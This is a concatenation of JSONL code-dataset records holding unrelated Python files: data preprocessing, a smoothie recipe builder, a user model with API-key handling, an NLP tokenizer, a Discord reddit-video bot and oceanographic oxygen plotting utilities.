'r')\r\n expenditures2 = f.readlines()\r\n f.close()\r\n\r\n print('Success!')\r\n\r\n elif choice == 'l':\r\n\r\n f = open('expenditures.txt', 'r')\r\n expenditures = f.readlines()\r\n f.close()\r\n\r\n \r\n\r\n \r\n\r\n print('')\r\n\r\nmain()\r\n\r\n","sub_path":"eLog.py","file_name":"eLog.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490102551","text":"import jieba\nfrom string_repalce import pyltp_model, preprocess\nfrom multiprocessing import Pool\n\ntitles = []\ncontents = []\ntitle = ''\ncontent = ''\nmodel = pyltp_model()\n\ndef funct(num, line):\n if len(titles) % 1000 == 0:\n print(num, len(titles))\n cur_num = num % 6\n if cur_num == 3:\n title = line[14:-16]\n title = title.replace('\\u3000', ' ')\n title = preprocess(title, model)\n if cur_num == 4:\n content = line[9:-11]\n content = content.replace('\\u3000', ' ')\n content = preprocess(content, model)\n if cur_num == 0:\n if len(title) == 0 or len(content) == 0:\n return\n else:\n titles.append(title)\n contents.append(content)\n title = ''\n content = ''\n\npool = Pool(2)\nwith open('/Users/didi/Downloads/corpus.txt', 'r', encoding='utf-8') as lines:\n for num, line in enumerate(lines):\n pool.apply_async(funct, (num, line,))\n if len(titles) > 500000:\n break\n\ntotal_datas = titles + contents\nvocab = dict()\nfor i in total_datas:\n for j in i:\n if j not in vocab:\n vocab[j] = 0\n else:\n vocab[j] += 1\ndel_keys = []\nfor i, j in vocab.items():\n if j < 5:\n del_keys.append(i)\nfor i in del_keys:\n vocab.pop(i)\n\nstr2id = {i: num + 4 for num, i in enumerate(vocab)}\nstr2id['PAD'] = 0\nstr2id['UNK'] = 1\nstr2id['GO'] = 2\nstr2id['EOS'] = 3\nid2str = {j: i for i, j in str2id.items()}\nimport pickle\n\ntemp = {}\ntemp['str2id'] = str2id\ntemp['id2str'] = id2str\n\nwith open('save.pkl', 'wb') as f:\n pickle.dump(temp, f)\n\ntitles_id = [[str2id[j] if j in str2id else str2id['UNK'] for j in i] for i in titles]\ncontents_id = [[str2id[j] if j in str2id else str2id['UNK'] for j in i] for i in contents]\n\nwith open('../datas/train/titles.txt', 'w', encoding='utf-8') as f:\n for i in titles:\n f.write(\" \".join(i) + '\\n')\n\nwith open('../datas/train/titles_id.txt', 'w', encoding='utf-8') as f:\n for i in titles_id:\n print(i)\n i = [str(m) for m in i]\n f.write(\" \".join(i))\n f.write('\\n')\n\nwith open('../datas/train/contents_id.txt', 'w', encoding='utf-8') as f:\n for i in contents_id:\n i = [str(m) for m in i]\n f.write(\" \".join(i) + '\\n')\n\nwith open('../datas/train/contents.txt', 'w', encoding='utf-8') as f:\n for i in contents:\n f.write(\" \".join(i) + '\\n')\n","sub_path":"data/sougouData/mutilip.py","file_name":"mutilip.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494821339","text":"import cv2\nimport numpy as np\nimport pandas as pd\nfrom collections import Counter\nfrom random import shuffle\n\nnp_load_old = np.load\nnp.load = lambda *a,**k: np_load_old(*a, allow_pickle=True, **k)\ntrain_data = np.load('training_data/training_data_balanced.npy')\nnp.load = np_load_old\n\nfor data in train_data:\n img = data[0]\n choice = data[1]\n cv2.imshow('test', img)\n print(choice)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break","sub_path":"training_data/show_balanced_data.py","file_name":"show_balanced_data.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322362120","text":"# -*- coding:utf-8 -*-\r\n\"\"\"\r\nCreated on 05.07.2010\r\n\r\n@author: rened\r\n\"\"\"\r\n#!/usr/bin/env python\r\n\"\"\"\r\nCreate a directed graph, allowing multiple edges and self loops, from\r\na unix mailbox. The nodes are email addresses with links\r\nthat point from the sender to the recievers. The edge data\r\nis a Python email.Message object which contains all of\r\nthe email message data.\r\n\r\nThis example shows the power of XDiGraph to hold edge data\r\nof arbitrary Python objects (in this case a list of email messages).\r\n\r\nBy default, load the sample unix email mailbox called \"unix_email.mbox\".\r\nYou can load your own mailbox by naming it on the command line, eg\r\n\r\n\r\n\r\n\"\"\"\r\n__author__ = \"\"\"Rene Dworschak (rene.dworschak@inburex.com)\"\"\"\r\n# Copyright (C) 2005 by\r\n# Aric Hagberg \r\n# Dan Schult \r\n# Pieter Swart \r\n# All rights reserved.\r\n# BSD license.\r\n\r\n\r\n# unix mailbox recipe\r\n# see http://www.python.org/doc/current/lib/module-mailbox.html\r\n\r\nif __name__ == '__main__':\r\n\r\n import networkx as nx\r\n try:\r\n import matplotlib.pyplot as plt\r\n except:\r\n pass\r\n\r\n G=nx.MultiDiGraph() # create empty graph\r\n\r\n # Propan/Weizenmehl/Luft\r\n G.add_edge(\"Propan\",\"Weizenmehl\",1)\r\n G.add_edge(\"Weizenmehl\",\"Luft\",1)\r\n G.add_edge(\"Propan\",\"Luft\",1)\r\n\r\n # Niacin/Diisopropylether/Luft\r\n G.add_edge(\"Niacin\",\"Diisopropylether\",1)\r\n G.add_edge(\"Diisopropylether\",\"Luft\",1)\r\n G.add_edge(\"Niacin\",\"Luft\",1)\r\n \r\n G.add_edge(\"Ammoniak\",\"Zucker\",3)\r\n G.add_edge(\"Ammoniak\",\"Luft\",3)\r\n G.add_edge(\"Zucker\",\"Luft\",1)\r\n\r\n G.add_edge(\"Propan\",\"Inertstaub\",5)\r\n G.add_edge(\"Propan\",\"Luft\",1)\r\n G.add_edge(\"Inertstaub\",\"Luft\",51)\r\n\r\n G.add_edge(\"Methan\",\"Inertstaub\",9)\r\n G.add_edge(\"Methan\",\"Luft\",9)\r\n G.add_edge(\"Inertstaub\",\"Luft\",5)\r\n\r\n#Methan-Propan-Ammoniak /Lycopodium/Luft - \r\n G.add_edge(\"Methan\",\"Lycopodium\",9)\r\n G.add_edge(\"Lycopodium\",\"Luft\",8)\r\n G.add_edge(\"Methan\",\"Luft\",9) \r\n \r\n #Methan-Propan-Ammoniak /Lycopodium/Luft - \r\n G.add_edge(\"Propan\",\"Lycopodium\",8)\r\n G.add_edge(\"Lycopodium\",\"Luft\",8)\r\n G.add_edge(\"Propan\",\"Luft\",1) \r\n\r\n #Methan-Propan-Ammoniak /Lycopodium/Luft - \r\n G.add_edge(\"Ammoniak\",\"Lycopodium\",8)\r\n G.add_edge(\"Lycopodium\",\"Luft\",8)\r\n G.add_edge(\"Ammoniak\",\"Luft\",3) \r\n\r\n #Ammoniak - Mehlstaub \r\n G.add_edge(\"Ammoniak\",\"Weizenmehl\",3)\r\n G.add_edge(\"Weizenmehl\",\"Luft\",1)\r\n G.add_edge(\"Ammoniak\",\"Luft\",3) \r\n \r\n#Methan/Luft/Kohlenstaub\r\n G.add_edge(\"Methan\",\"Kohlenstaub\",9)\r\n G.add_edge(\"Kohlenstaub\",\"Luft\",1)\r\n G.add_edge(\"Methan\",\"Luft\",9) \r\n\r\n#Magensiumsterate/Niacin/Antibiotic - Diisoprolyether/Ethanol/Toluene\r\n G.add_edge(\"Ethanol\",\"Magensiumsterate\",-1)\r\n G.add_edge(\"Magensiumsterate\",\"Luft\",-1)\r\n G.add_edge(\"Ethanol\",\"Luft\",-1) \r\n\r\n#Magensiumsterate/Niacin/Antibiotic - Diisoprolyether/Ethanol/Toluene\r\n G.add_edge(\"Toluene\",\"Antibiotic\",1)\r\n G.add_edge(\"Toluene\",\"Luft\",1)\r\n G.add_edge(\"Antibiotic\",\"Luft\",1) \r\n \r\n G.add_edge(\"Methan\",\"Korkmehl\",9)\r\n G.add_edge(\"Methan\",\"Luft\",9)\r\n G.add_edge(\"Korkmehl\",\"Luft\",9) \r\n \r\n #Magensiumsterate/Niacin/Antibiotic - Diisoprolyether/Ethanol/Toluene\r\n G.add_edge(\"Kohlenstoff\",\"Wasserstoff\",1)\r\n G.add_edge(\"Kohlenstoff\",\"Luft\",1)\r\n G.add_edge(\"Wasserstoff\",\"Luft\",1) \r\n \r\n \r\n try: # draw\r\n pos=nx.spring_layout(G,iterations=30)\r\n nx.draw(G,pos,node_size=0,alpha=0.4,edge_color='r',font_size=8)\r\n \r\n plt.savefig(\"unix_email.png\")\r\n plt.show()\r\n except: # matplotlib not available\r\n pass","sub_path":"BastelPython/src/Code-Snipels/Net_X/HybridStoff.py","file_name":"HybridStoff.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417103772","text":"\"\"\"\nCreated on 17 Apr 2017\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nhttps://pythoncentral.io/hashing-strings-with-python/\n\nexample document:\n{\"tag\": \"my-laptop\", \"attn\": \"scs-ap1-6\", \"rec\": \"2022-11-28T12:05:26Z\", \"ver\": 2.0,\n\"cmd_tokens\": [\"test\"], \"timeout\": 20, \"digest\": \"183f9036b2afd0f347ae30f20b228f962ba9731d\"}\n\"\"\"\n\nimport hashlib\n\nfrom collections import OrderedDict\n\nfrom scs_core.data.datetime import LocalizedDatetime\nfrom scs_core.data.json import JSONable, JSONify\n\nfrom scs_core.sample.sample import Sample\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nclass ControlDatum(JSONable):\n \"\"\"\n classdocs\n \"\"\"\n\n VERSION = 1.0 # Version 2.0 is not compatible with deployed devices\n\n __DEFAULT_TIMEOUT = 30.0 # seconds\n\n # ----------------------------------------------------------------------------------------------------------------\n\n @classmethod\n def construct_from_jdict(cls, jdict):\n if not jdict:\n return None\n\n tag = jdict.get('tag')\n attn = jdict.get('attn')\n rec = LocalizedDatetime.construct_from_iso8601(jdict.get('rec'))\n\n try:\n version = round(float(jdict.get('ver')), 1)\n except (TypeError, ValueError):\n version = None\n\n cmd_tokens = jdict.get('cmd_tokens')\n timeout = jdict.get('timeout', cls.__DEFAULT_TIMEOUT)\n digest = jdict.get('digest')\n\n datum = cls(tag, attn, rec, cmd_tokens, timeout, digest, version=version)\n\n return datum\n\n\n @classmethod\n def construct(cls, tag, attn, rec, cmd_tokens, timeout, key):\n digest = cls.__hash(tag, attn, rec, cmd_tokens, key, cls.VERSION)\n\n return cls(tag, attn, rec, cmd_tokens, timeout, digest, version=cls.VERSION)\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n @classmethod\n def __hash(cls, tag, attn, rec, cmd_tokens, key, version):\n rec_iso8601 = rec.as_iso8601(include_millis=Sample.INCLUDE_MILLIS)\n text = str(tag) + str(attn) + JSONify.dumps(rec_iso8601) + str(cmd_tokens) + str(key)\n\n if version == 2.0:\n hash_object = hashlib.sha1(text.encode())\n else:\n hash_object = hashlib.sha256(text.encode())\n\n return hash_object.hexdigest()\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def __init__(self, tag, attn, rec, cmd_tokens, timeout, digest, version=None):\n \"\"\"\n Constructor\n \"\"\"\n self.__tag = tag # string - originator of message\n self.__attn = attn # string - intended recipient of message\n self.__rec = rec # LocalizedDatetime\n\n self.__version = version # float\n\n self.__cmd_tokens = cmd_tokens # array of { string | int | float }\n self.__timeout = int(timeout) # int\n self.__digest = digest # string\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def is_valid(self, key):\n digest = self.__hash(self.tag, self.attn, self.rec, self.cmd_tokens, key, self.version)\n\n return digest == self.digest\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def as_json(self):\n jdict = OrderedDict()\n\n jdict['tag'] = self.tag\n jdict['attn'] = self.attn\n jdict['rec'] = self.rec.as_iso8601(include_millis=Sample.INCLUDE_MILLIS)\n\n jdict['ver'] = round(self.version, 1)\n\n jdict['cmd_tokens'] = self.cmd_tokens\n jdict['timeout'] = self.timeout\n jdict['digest'] = self.digest\n\n return jdict\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n @property\n def tag(self):\n return self.__tag\n\n\n @property\n def attn(self):\n return self.__attn\n\n\n @property\n def rec(self):\n return self.__rec\n\n\n @property\n def version(self):\n return self.__version\n\n\n @property\n def cmd_tokens(self):\n return self.__cmd_tokens\n\n\n @property\n def timeout(self):\n return self.__timeout\n\n\n @property\n def digest(self):\n return self.__digest\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def __str__(self, *args, **kwargs):\n return \"ControlDatum:{tag:%s, attn:%s, rec:%s, version:%s, cmd_tokens:%s, timeout:%s, digest:%s}\" % \\\n (self.tag, self.attn, self.rec, self.version, self.cmd_tokens, self.timeout, self.digest)\n","sub_path":"src/scs_core/control/control_datum.py","file_name":"control_datum.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"532426782","text":"import sys\n\n\nclass Recipe:\n\t\"\"\" Recipe class for EECS 106a SmoothieBot Project\"\"\"\n\tavailable_fruits = ['apple','orange','banana','grapes']\n\tfruit_counts = {'apple':5,'orange':5,'banana':4,'grapes':5}\n\n\tsmoothie1 = {'apple':2,'orange':1,'banana':1}\n\tsmoothie2 = {'apple':1,'orange':0,'banana:':2}\n\tsmoothie3 = {'apple':2,'orange':2,'banana:':0}\n\n\tsmoothies = {'smoothie1':smoothie1,\n\t\t\t\t 'smoothie2':smoothie2,\n\t\t\t\t 'smoothie3':smoothie3}\n\n\tdef __init__(self):\n\t\tself.order = None\n\t\tself.build_order()\n\t\tself.dict_to_list()\n\n\tdef build_order(self):\n\t\torder_type = input('Building smoothie recipe...\\ncustom or premade: ')\n\t\tif order_type == 'custom':\n\t\t\tself.custom_order()\n\t\telif order_type == 'premade':\n\t\t\tself.premade_order()\n\t\telse:\n\t\t\tprint('Invalid smoothie request!')\n\t\t\tprint('Smoothie type must be either \"custom\" or \"premade\"')\n\t\t\tprint('Restarting order process')\n\t\t\tprint('-'*30+'\\n\\n')\n\t\t\tself.build_order()\n\n\tdef premade_order(self):\n\t\tself.display_smoothies()\n\t\tsmoothie_type = input('Place order: ')\n\t\tif smoothie_type not in self.smoothies.keys():\n\t\t\tprint('Invalid smoothie request! Smoothie \"%s\" does not exist!' % smoothie_type)\n\t\t\tprint('Restarting order process')\n\t\t\tprint('-'*30+'\\n\\n')\n\t\t\tself.build_order()\n\t\telse:\n\t\t\tself.order = self.smoothies[smoothie_type]\n\n\tdef custom_order(self):\n\t\torder = {}\n\t\tprint('Input desired # of fruit')\n\t\tfor fruit in self.available_fruits:\n\t\t\tamount = input(fruit+': ')\n\t\t\tif amount == '':\n\t\t\t\tamount = 0\n\t\t\tamount = int(amount)\n\t\t\tif amount > self.fruit_counts[fruit]: \n\t\t\t\tprint('Invalid smoothie request! Too many %s!' % fruit)\n\t\t\t\tprint('Max amount of {} is {}.'.format(fruit, self.fruit_counts[fruit]))\n\t\t\t\tprint('Restarting order process')\n\t\t\t\tprint('-'*30+'\\n\\n')\n\t\t\t\tself.build_order()\n\t\t\telse:\n\t\t\t\torder[fruit] = amount\n\n\t\tself.order = order\n\n\tdef display_smoothies(self):\n\t\tprint(\"Here are the available smoothies:\")\n\t\tfor smoothie, ingredients in self.smoothies.items():\n\t\t\tprint(smoothie)\n\t\t\tprint(ingredients)\n\t\t\tprint()\n\t\n\tdef get_order(self):\n\t\t\"\"\"Get smoothie order as python dictionary\"\"\"\n\t\treturn self.order\n\n\tdef dict_to_list(self):\n\t\t\"\"\"Change dict order to list order\"\"\"\n\t\tres = []\n\t\tfor k,v in self.get_order().items():\n\t\t\tres.extend([k]*v)\n\t\tself.order = res\n\nif __name__ == '__main__':\n\tR = Recipe()\n\tprint(R.order)\n","sub_path":"code/smoothie/src/Recipe.py","file_name":"Recipe.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"160577264","text":"from sqlalchemy import Column, Integer, String, func\nfrom kizuna.models.Models import Base\nfrom secrets import token_hex\nfrom cryptography.fernet import Fernet, InvalidToken\nfrom config import FERNET_KEY, FERNET_TTL\nfrom decimal import Decimal\nfrom kizuna.models.KKredsTransaction import KKredsTransaction\n\n\ndef user_generate_api_key():\n token = token_hex(32)\n return 'kiz-{}'.format(token)\n\n\nclass User(Base):\n @staticmethod\n def generate_api_key():\n user_generate_api_key()\n\n __tablename__ = 'users'\n\n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=False)\n slack_id = Column(String, index=True, unique=True)\n api_key = Column(String(), unique=True, index=True, nullable=False, default=user_generate_api_key)\n\n def __repr__(self):\n return \"\".format(self.id, self.name, self.slack_id)\n\n @staticmethod\n def get_by_slack_id(session, slack_id) -> 'User':\n return session.query(User).filter(User.slack_id == slack_id).first()\n\n @staticmethod\n def decrypt_token(token):\n if isinstance(token, str):\n token = token.encode('ascii')\n\n f = Fernet(FERNET_KEY)\n return f.decrypt(token, ttl=FERNET_TTL).decode('ascii')\n\n def get_token(self):\n f = Fernet(FERNET_KEY)\n return f.encrypt(self.api_key.encode('ascii'))\n\n def get_kkred_balance(self, session) -> Decimal:\n kkred_debits = session \\\n .query(func.sum(KKredsTransaction.amount)) \\\n .filter(KKredsTransaction.from_user_id == self.id) \\\n .first()[0]\n\n if kkred_debits is None:\n kkred_debits = Decimal(0)\n\n kkred_credits = session \\\n .query(func.sum(KKredsTransaction.amount)) \\\n .filter(KKredsTransaction.to_user_id == self.id) \\\n .first()[0]\n\n if kkred_credits is None:\n kkred_credits = Decimal(0)\n\n return kkred_credits - kkred_debits\n\n @staticmethod\n def maybe_create_user_from_slack_id(slack_id, slack_client, session):\n from_user = session.query(User).filter(User.slack_id == slack_id).first()\n if from_user:\n return from_user\n\n slack_user_res = slack_client.api_call(\"users.info\", user=slack_id)\n if not slack_user_res['ok']:\n raise ValueError(\"couldn't get user {} from slack api\".format(slack_id))\n\n slack_user = slack_user_res['user']\n from_user = User(name=slack_user['name'], slack_id=slack_user['id'])\n session.add(from_user)\n return from_user\n","sub_path":"kizuna/models/User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255285810","text":"nada = None\ncadena = \"Hola soy una cadena\"\nentero = 99\nflotante = 4.2\nbooleano = True\nlista = [10, 20, 30, 100, 200] # O array\nlistaString = [10, \"veinte\", 30, \"cien\"]\ntuplaNoCambia = (\"master\", \"en\", \"python\")\ndiccionario = {\n \"name\" : \"Mike\",\n \"apellido\": \"Castañeda\",\n \"web\": \"sinweb.com\"\n}\nrango = range(9)\ndato_byte = b\"Probando\"\n\n#imprimir variable\n\"\"\" print(nada)\nprint(cadena)\nprint(entero)\nprint(flotante)\nprint(booleano)\nprint(lista)\nprint(listaString)\nprint(tuplaNoCambia)\nprint(diccionario)\nprint(rango)\nprint(dato_byte) \"\"\"\n#mostrar tipo de dato\n\"\"\" print(type(nada))\nprint(type(cadena))\nprint(type(entero))\nprint(type(flotante))\nprint(type(booleano))\nprint(type(lista))\nprint(type(listaString))\nprint(type(tuplaNoCambia))\nprint(type(diccionario))\nprint(type(rango))\nprint(type(dato_byte)) \"\"\"\n\n#Convertir de un tipo de dato a otro\ntexto = \"Texto\"\nnumerito = str(776) #Cmabiar numero a string\n","sub_path":"02-Variables-y-tipos/tipos.py","file_name":"tipos.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"52160806","text":"import re\n\nimport pandas as pd\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n\n\ndef tokenize(text):\n \"\"\"\n Creates word tokens of input text\n\n Parameters\n text: str text to tokenize\n\n Returns\n tokenized text as a list of strings\n \"\"\"\n text = text.lower()\n\n url_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n www_regex = 'www.[\\w\\.]*'\n\n at_mention = '[@][\\w]*'\n re_tweet = 'RT [\\w]*'\n bit_ly = 'http bit\\.ly [\\w]*'\n tinyurl = 'http tinyurl\\.com [\\w]*'\n email = '[\\w\\.]*@[\\w\\.]*\\.[\\w]{0,4}'\n\n text = re.sub(url_regex, \"url_placeholder\", text)\n text = re.sub(www_regex, \"url_placeholder\", text)\n text = re.sub(bit_ly, \"url_placeholder\", text)\n text = re.sub(tinyurl, \"url_placeholder\", text)\n text = re.sub(email, \"email\", text)\n text = re.sub(re_tweet, \"re_tweet\", text)\n text = re.sub(at_mention, \"at_mention\", text)\n\n text = re.sub(r'[^a-zA-Z0-9]', \" \", text)\n\n # tokenize text\n tokens = word_tokenize(text)\n\n # Remove stop words\n tokens = [w for w in tokens if w not in stopwords.words('english')]\n\n # Lemmatize\n lemmatizer = WordNetLemmatizer()\n\n lemmatized_tokens = []\n for token in tokens:\n # lemmatize each tokens\n lemmatized_token = lemmatizer.lemmatize(token)\n lemmatized_tokens.append(lemmatized_token)\n\n return lemmatized_tokens\n\n\nclass MessageLength(BaseEstimator, TransformerMixin):\n \"\"\"\n Transformer taking a column of strings, and converting them into a column\n of integers, representing the word count of each string.\n \"\"\"\n\n def word_count(self, text):\n \"\"\"\n Counts the number of words in a text separated by white space\n\n Parameters\n text (str): text for counting the words\n\n Returns\n int: word count\n \"\"\"\n # tokenize by words, how many words in message\n return len(tokenize(text))\n\n def fit(self, x, y=None):\n \"\"\"\n Class is required to have a fit method to be able to use in a Pipeline\n\n Parameters\n x\n y\n\n Returns\n self\n \"\"\"\n return self\n\n def transform(self, X):\n \"\"\"\n Transforms array of strings to array of floats standing for the scaled wordcount in all strings\n\n Parameters\n X: numpy array of strings to transform\n\n Returns\n column array of floats\n \"\"\"\n # apply word_count function to all values in X\n x_word_count = pd.Series(X).apply(self.word_count)\n\n x_word_count_norm = x_word_count / x_word_count.max()\n\n return x_word_count_norm.values.reshape((-1, 1))\n","sub_path":"ML_Pipieline/NLP_pipeline.py","file_name":"NLP_pipeline.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"215829916","text":"import re\nimport asyncio\nimport aiohttp\nimport logging\n\nfrom discord import Embed, NotFound, Forbidden\nfrom .models.vreddit_message import VRedditMessage\nfrom .reddit_video import RedditVideo, PostError\nfrom levbot import UserLevel, TypingContext\n\n\nurl_chars = r'[a-z0-9\\._~%\\-\\+&\\#\\?!=\\(\\)@]'\nurl_pattern = re.compile(r'(?'\n )\n\n if video.file_size != video.final_file_size:\n percentage = (video.final_file_size / video.file_size) * 100\n description += (\n f'\\n\\nVideo compressed to {percentage:.2g}% of'\n ' the original file size.'\n '\\nClick the title above to see the original'\n ' quality video on reddit'\n )\n\n embed = Embed(\n title=video.title,\n url=video.short_url,\n description=description\n )\n\n embed.set_footer(text=(\n 'Admins and the original poster can click the'\n ' ❌ to delete this message'\n ))\n\n await self.bot.edit_message(dmessage, embed=embed)\n\n async def on_message_delete(self, smessage):\n if smessage.channel.is_private:\n return\n\n vmessage = self.get_vmessage(smessage) \\\n or self.get_vmessage(smessage, False)\n\n if vmessage:\n vmessage.delete()\n\n async def on_reaction_add(self, reaction, user):\n if reaction.emoji != '❌':\n return\n\n if reaction.message.author != self.bot.user:\n return\n\n if user == self.bot.user:\n return\n\n vmessage = self.get_vmessage(reaction.message, False)\n\n if UserLevel.get(user, reaction.message.channel) \\\n >= UserLevel.server_bot_admin:\n vmessage.delete()\n return\n\n smessage = await vmessage.get_src_message()\n\n if user == smessage.author:\n vmessage.delete()\n return\n","sub_path":"src/vreddit/vreddit.py","file_name":"vreddit.py","file_ext":"py","file_size_in_byte":6979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"48441320","text":"#!/usr/bin/python\n\nimport os, sys\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\ntry:\n import seaborn as sns\n sns.set(style='ticks', context='paper', palette='colorblind')\nexcept:\n sys.stdout.write('Although the seaborn package is not required, it is recommended for plotting - see https://seaborn.pydata.org/\\n')\n\ntry:\n import cmocean.cm as cmo\n cmocean_flag = True\nexcept:\n sys.stdout.write('Although the cmocean package is not required, it is recommended for plotting - see https://matplotlib.org/cmocean/\\n')\n cmocean_flag = False\n\nclass pltClass:\n def __init__(self):\n self.__info__ = 'Python qc package plt class'\n\ndef float_ncep_inair(sdn, flt, ncep, ax=None, legend=True):\n\n if ax is None:\n fig, ax = plt.subplots()\n else:\n fig = ax.get_figure()\n\n ax.plot(sdn, flt, linewidth=2, label='Float')\n ax.plot(sdn, ncep, linewidth=2, label='NCEP')\n\n if legend:\n ax.legend(loc=3)\n\n mhr = mdates.MonthLocator(interval=4)\n mihr = mdates.MonthLocator()\n fmt = mdates.DateFormatter('%b %Y')\n\n ax.xaxis.set_major_locator(mhr)\n ax.xaxis.set_major_formatter(fmt)\n ax.xaxis.set_minor_locator(mihr)\n\n ax.set_ylabel('pO$_2$ (mbar)')\n\n for tick in ax.get_xticklabels():\n tick.set_rotation(45)\n\n g = pltClass()\n g.fig = fig\n g.axes = [ax]\n\n return g\n\ndef float_woa_surface(sdn, flt, woa, ax=None, legend=True):\n\n if ax is None:\n fig, ax = plt.subplots()\n else:\n fig = ax.get_figure()\n\n ax.plot(sdn, flt, linewidth=2, label='Float')\n ax.plot(sdn, woa, linewidth=2, label='WOA18')\n\n if legend:\n ax.legend(loc=3)\n\n mhr = mdates.MonthLocator(interval=4)\n mihr = mdates.MonthLocator()\n fmt = mdates.DateFormatter('%b %Y')\n\n ax.xaxis.set_major_locator(mhr)\n ax.xaxis.set_major_formatter(fmt)\n ax.xaxis.set_minor_locator(mihr)\n\n ax.set_ylabel('O$_2$ Saturation %')\n\n for tick in ax.get_xticklabels():\n tick.set_rotation(45)\n\n g = pltClass()\n g.fig = fig\n g.axes = [ax]\n\n return g\n\ndef gains(sdn, gains, inair=True, ax=None, legend=True):\n\n if ax is None:\n fig, ax = plt.subplots()\n else:\n fig = ax.get_figure()\n\n ax.plot(sdn, gains, 'o', markeredgewidth=0.5, markersize=5, markeredgecolor='grey', zorder=3, label='Gains')\n ax.axhline(np.nanmean(gains), color='k', linestyle='--', label='Mean = {:.2f}'.format(np.nanmean(gains)), zorder=2)\n ax.axhline(1.0, color='k', linestyle='-', linewidth=0.5, label=None,zorder=1)\n\n if legend:\n ax.legend(loc=3)\n\n mhr = mdates.MonthLocator(interval=4)\n mihr = mdates.MonthLocator()\n fmt = mdates.DateFormatter('%b %Y')\n\n ax.xaxis.set_major_locator(mhr)\n ax.xaxis.set_major_formatter(fmt)\n ax.xaxis.set_minor_locator(mihr)\n\n ax.set_ylabel('O$_2$ Gain (unitless)')\n\n for tick in ax.get_xticklabels():\n tick.set_rotation(45)\n\n\n g = pltClass()\n g.fig = fig\n g.axes = [ax]\n\n return g\n \ndef gainplot(sdn, float_data, ref_data, gainvals, ref):\n\n fig, axes = plt.subplots(2,1,sharex=True)\n\n if ref == 'NCEP':\n\n g1 = float_ncep_inair(sdn, float_data, ref_data, ax=axes[0])\n g2 = gains(sdn, gainvals, inair=False, ax=axes[1])\n\n elif ref == 'WOA':\n\n g1 = float_woa_surface(sdn, float_data, ref_data, ax=axes[0])\n g2 = gains(sdn, gainvals, inair=False, ax=axes[1])\n\n g = pltClass()\n g.fig = fig\n g.axes = axes\n\n return g\n\ndef var_cscatter(df, varname='DOXY', cmap=None, ax=None, ylim=(0,2000), clabel=None, **kwargs):\n # define colormaps\n if cmocean_flag:\n color_maps = dict(\n TEMP=cmo.thermal,\n TEMP_ADJUSTED=cmo.thermal,\n PSAL=cmo.haline, \n PSAL_ADJUSTED=cmo.haline, \n PDEN=cmo.dense,\n CHLA=cmo.algae,\n CHLA_ADJUSTED=cmo.algae,\n BBP700=cmo.matter,\n BBP700_ADJUSTED=cmo.matter,\n DOXY=cmo.ice,\n DOXY_ADJUSTED=cmo.ice,\n DOWNWELLING_IRRADIANCE=cmo.solar,\n )\n else:\n color_maps = dict(\n TEMP=plt.cm.inferno,\n TEMP_ADJUSTED=plt.cm.inferno,\n PSAL=plt.cm.viridis, \n PSAL_ADJUSTED=plt.cm.viridis, \n PDEN=plt.cm.cividis,\n CHLA=plt.cm.YlGn,\n CHLA_ADJUSTED=plt.cm.YlGn,\n BBP700=plt.cm.pink_r,\n BBP700_ADJUSTED=plt.cm.pink_r,\n DOXY=plt.cm.YlGnBu_r,\n DOXY_ADJUSTED=plt.cm.YlGnBu_r,\n DOWNWELLING_IRRADIANCE=plt.cm.magma,\n )\n\n if clabel is None:\n var_units = dict(\n TEMP='Temperature ({}C)'.format(chr(176)),\n TEMP_ADJUSTED='Temperature ({}C)'.format(chr(176)),\n PSAL='Practical Salinity', \n PSAL_ADJUSTED='Practical Salinity', \n PDEN='Potential Density (kg m${-3}$)',\n CHLA='Chlorophyll (mg m$^{-3}$',\n CHLA_ADJUSTED='Chlorophyll (mg m$^{-3}$',\n BBP700='$\\mathsf{b_{bp}}$ (m$^{-1}$)',\n BBP700_ADJUSTED='$\\mathsf{b_{bp}}$ (m$^{-1}$)',\n DOXY='Diss. Oxygen ($\\mathregular{\\mu}$mol kg$^{-1}$)',\n DOXY_ADJUSTED='Diss. Oxygen ($\\mathregular{\\mu}$mol kg$^{-1}$)',\n DOWNWELLING_IRRADIANCE='Downwelling Irradiance (W m$^{-2}$)',\n )\n clabel = var_units[varname]\n\n if cmap is None:\n cmap = color_maps[varname]\n\n \n if ax is None:\n fig, ax = 